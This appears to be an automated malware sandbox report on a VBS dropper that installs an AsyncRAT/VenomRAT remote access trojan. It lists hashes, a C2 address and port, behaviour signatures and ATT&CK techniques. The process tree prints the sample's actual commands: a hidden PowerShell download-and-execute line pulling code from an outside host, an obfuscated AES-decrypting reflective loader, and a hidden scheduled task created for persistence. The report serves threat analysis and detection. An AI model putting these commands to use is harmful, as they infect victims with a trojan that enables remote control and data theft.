asyncrat | 051bcd80b859378e9ff45546ecc3766499f44190fe25716b7419769b38308320

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-12-2024 02:09

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General

Target

051bcd80b859378e9ff45546ecc3766499f44190fe25716b7419769b38308320.vbs
Size

91KB
MD5

7f67c01cf304afa0adf4c3095477ab07
SHA1

9c5e5e550e15b4e0e949591488ba72154e13378f
SHA256

051bcd80b859378e9ff45546ecc3766499f44190fe25716b7419769b38308320
SHA512

cbcf82588439f81719c5931b08176de77e3c7d08e22c084836ee3224dbbc6a96ebb4873cb2ac1d6d0225b6f7a8f8cef873fab3b54115e4cd8eb0ec1b623a7737
SSDEEP

1536:M8we4uQyXKFD5cFkWLcaxdYOyhGhRW9w+vcdlziIqzRNBHarEZ+2K:M8z4DOOW4eOFGhRW9wCIzi/8rE42K

Score

10^/10

asyncrat venomrat core i9 omen execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

core i9 OMEN

45.88.88.7:4164

Mutex

nxafgjygny

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/3588-62-0x00000285F9930000-0x00000285F9948000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3588-62-0x00000285F9930000-0x00000285F9948000-memory.dmp	family_asyncrat

Blocklisted process makes network request 15 IoCs

flow	pid	Process
39	3588	powershell.exe
40	3588	powershell.exe
41	3588	powershell.exe
42	3588	powershell.exe
43	3588	powershell.exe
50	3588	powershell.exe
51	3588	powershell.exe
52	3588	powershell.exe
53	3588	powershell.exe
54	3588	powershell.exe
55	3588	powershell.exe
56	3588	powershell.exe
57	3588	powershell.exe
58	3588	powershell.exe
59	3588	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
208	powershell.exe
4684	powershell.exe
2304	powershell.exe
3588	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
208	powershell.exe
208	powershell.exe
4684	powershell.exe
4684	powershell.exe
2304	powershell.exe
2304	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	208	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeIncreaseQuotaPrivilege	2304	powershell.exe
Token: SeSecurityPrivilege	2304	powershell.exe
Token: SeTakeOwnershipPrivilege	2304	powershell.exe
Token: SeLoadDriverPrivilege	2304	powershell.exe
Token: SeSystemProfilePrivilege	2304	powershell.exe
Token: SeSystemtimePrivilege	2304	powershell.exe
Token: SeProfSingleProcessPrivilege	2304	powershell.exe
Token: SeIncBasePriorityPrivilege	2304	powershell.exe
Token: SeCreatePagefilePrivilege	2304	powershell.exe
Token: SeBackupPrivilege	2304	powershell.exe
Token: SeRestorePrivilege	2304	powershell.exe
Token: SeShutdownPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeSystemEnvironmentPrivilege	2304	powershell.exe
Token: SeRemoteShutdownPrivilege	2304	powershell.exe
Token: SeUndockPrivilege	2304	powershell.exe
Token: SeManageVolumePrivilege	2304	powershell.exe
Token: 33	2304	powershell.exe
Token: 34	2304	powershell.exe
Token: 35	2304	powershell.exe
Token: 36	2304	powershell.exe
Token: SeIncreaseQuotaPrivilege	2304	powershell.exe
Token: SeSecurityPrivilege	2304	powershell.exe
Token: SeTakeOwnershipPrivilege	2304	powershell.exe
Token: SeLoadDriverPrivilege	2304	powershell.exe
Token: SeSystemProfilePrivilege	2304	powershell.exe
Token: SeSystemtimePrivilege	2304	powershell.exe
Token: SeProfSingleProcessPrivilege	2304	powershell.exe
Token: SeIncBasePriorityPrivilege	2304	powershell.exe
Token: SeCreatePagefilePrivilege	2304	powershell.exe
Token: SeBackupPrivilege	2304	powershell.exe
Token: SeRestorePrivilege	2304	powershell.exe
Token: SeShutdownPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeSystemEnvironmentPrivilege	2304	powershell.exe
Token: SeRemoteShutdownPrivilege	2304	powershell.exe
Token: SeUndockPrivilege	2304	powershell.exe
Token: SeManageVolumePrivilege	2304	powershell.exe
Token: 33	2304	powershell.exe
Token: 34	2304	powershell.exe
Token: 35	2304	powershell.exe
Token: 36	2304	powershell.exe
Token: SeIncreaseQuotaPrivilege	2304	powershell.exe
Token: SeSecurityPrivilege	2304	powershell.exe
Token: SeTakeOwnershipPrivilege	2304	powershell.exe
Token: SeLoadDriverPrivilege	2304	powershell.exe
Token: SeSystemProfilePrivilege	2304	powershell.exe
Token: SeSystemtimePrivilege	2304	powershell.exe
Token: SeProfSingleProcessPrivilege	2304	powershell.exe
Token: SeIncBasePriorityPrivilege	2304	powershell.exe
Token: SeCreatePagefilePrivilege	2304	powershell.exe
Token: SeBackupPrivilege	2304	powershell.exe
Token: SeRestorePrivilege	2304	powershell.exe
Token: SeShutdownPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeSystemEnvironmentPrivilege	2304	powershell.exe
Token: SeRemoteShutdownPrivilege	2304	powershell.exe
Token: SeUndockPrivilege	2304	powershell.exe
Token: SeManageVolumePrivilege	2304	powershell.exe
Token: 33	2304	powershell.exe
Token: 34	2304	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3588	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1296 wrote to memory of 208	1296	WScript.exe	85
PID 1296 wrote to memory of 208	1296	WScript.exe	85
PID 1296 wrote to memory of 4088	1296	WScript.exe	103
PID 1296 wrote to memory of 4088	1296	WScript.exe	103
PID 4088 wrote to memory of 4684	4088	cmd.exe	106
PID 4088 wrote to memory of 4684	4088	cmd.exe	106
PID 4684 wrote to memory of 2304	4684	powershell.exe	107
PID 4684 wrote to memory of 2304	4684	powershell.exe	107
PID 4684 wrote to memory of 4992	4684	powershell.exe	110
PID 4684 wrote to memory of 4992	4684	powershell.exe	110
PID 4992 wrote to memory of 2136	4992	WScript.exe	111
PID 4992 wrote to memory of 2136	4992	WScript.exe	111
PID 2136 wrote to memory of 3588	2136	cmd.exe	113
PID 2136 wrote to memory of 3588	2136	cmd.exe	113

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\051bcd80b859378e9ff45546ecc3766499f44190fe25716b7419769b38308320.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('emte3ttqtxU8Z7uNtvShj79DDsvggmbvOto5AmNpef0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UMzwlReo+QuIcZAVBvu6GA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vpydZ=New-Object System.IO.MemoryStream(,$param_var); $whvQX=New-Object System.IO.MemoryStream; $NaCjv=New-Object System.IO.Compression.GZipStream($vpydZ, [IO.Compression.CompressionMode]::Decompress); $NaCjv.CopyTo($whvQX); $NaCjv.Dispose(); $vpydZ.Dispose(); $whvQX.Dispose(); $whvQX.ToArray();}function execute_function($param_var,$param2_var){ $JNCLx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MwOUn=$JNCLx.EntryPoint; $MwOUn.Invoke($null, $param2_var);}$toRQS = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $toRQS;$arTVC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($toRQS).Split([Environment]::NewLine);foreach ($ixRtZ in $arTVC) { if ($ixRtZ.StartsWith(':: ')) { $rZGXb=$ixRtZ.Substring(3); break; }}$payloads_var=[string[]]$rZGXb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_689_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_689.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2304
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_689.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4992
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_689.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2136
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('emte3ttqtxU8Z7uNtvShj79DDsvggmbvOto5AmNpef0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UMzwlReo+QuIcZAVBvu6GA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vpydZ=New-Object System.IO.MemoryStream(,$param_var); $whvQX=New-Object System.IO.MemoryStream; $NaCjv=New-Object System.IO.Compression.GZipStream($vpydZ, [IO.Compression.CompressionMode]::Decompress); $NaCjv.CopyTo($whvQX); $NaCjv.Dispose(); $vpydZ.Dispose(); $whvQX.Dispose(); $whvQX.ToArray();}function execute_function($param_var,$param2_var){ $JNCLx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MwOUn=$JNCLx.EntryPoint; $MwOUn.Invoke($null, $param2_var);}$toRQS = 'C:\Users\Admin\AppData\Roaming\startup_str_689.bat';$host.UI.RawUI.WindowTitle = $toRQS;$arTVC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($toRQS).Split([Environment]::NewLine);foreach ($ixRtZ in $arTVC) { if ($ixRtZ.StartsWith(':: ')) { $rZGXb=$ixRtZ.Substring(3); break; }}$payloads_var=[string[]]$rZGXb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b66db53846de4860ca72a3e59b38c544

SHA1
2202dc88e9cddea92df4f4e8d83930efd98c9c5a

SHA256
b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

SHA512
72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
00ba539eb3a2e112abd37414b017593e

SHA1
b465850f5857a5a8b4b411e1719924fe4c4dcdeb

SHA256
37ad676fadc8f4c0c7537d3fb2f4dc801381efd42f6fb2c27b3d42610bbcc7c3

SHA512
0c66a16344691c0ade62ea44fd828e3bd01c9c7e66296bdb9b3bdb0676046072d19f0aa92264e90c4c5ceb14499727952df6261df54b5234d1ba2c002bb073c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ahds2buj.dq1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
82KB

MD5
91521a30afc250ec301fbee04e3d72ec

SHA1
20c0d5e15643df6215f5052d70ad46d40da15fdd

SHA256
87f7bfaaf8f6babc9af3cb2b5de96b6365016121332bd90b8905674acd4940c4

SHA512
f9c61a01395eccccbb62ba2ce9cce4678da36b5a67a9712af98965c75cf126a740026bce576fe841b18ba018641842f845c007ad9e62dbde96b5cfd3b5299544

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_689.vbs

Filesize
115B

MD5
0e6ede580e40ab536c6e1795a2a667a0

SHA1
7b4044699b99190c7f7460e53d206b0ec78e8374

SHA256
1c3af71e2a77d21f4f2b1707178e7f050f16e4bfb6ea81ee4628c8cab2f063c9

SHA512
3344bda1317794f1b7ff31c71e471eadff0bdc351cb04b16991f853f75852cb672ac9417f0578d2fdc2f7a87d55861e03c08bd36d4c06a69b2a25e2d96eda7e6

Download Submit
memory/208-11-0x00007FFA9AA60000-0x00007FFA9B521000-memory.dmp

Filesize
10.8MB

Download
memory/208-16-0x00007FFA9AA60000-0x00007FFA9B521000-memory.dmp

Filesize
10.8MB

Download
memory/208-15-0x00007FFA9AA60000-0x00007FFA9B521000-memory.dmp

Filesize
10.8MB

Download
memory/208-12-0x00007FFA9AA60000-0x00007FFA9B521000-memory.dmp

Filesize
10.8MB

Download
memory/208-0-0x00007FFA9AA63000-0x00007FFA9AA65000-memory.dmp

Filesize
8KB

Download
memory/208-8-0x000001FD69A40000-0x000001FD69A62000-memory.dmp

Filesize
136KB

Download
memory/3588-62-0x00000285F9930000-0x00000285F9948000-memory.dmp

Filesize
96KB

Download
memory/4684-32-0x0000024D6FA30000-0x0000024D6FA38000-memory.dmp

Filesize
32KB

Download
memory/4684-33-0x0000024D6FCC0000-0x0000024D6FCD2000-memory.dmp

Filesize
72KB

Download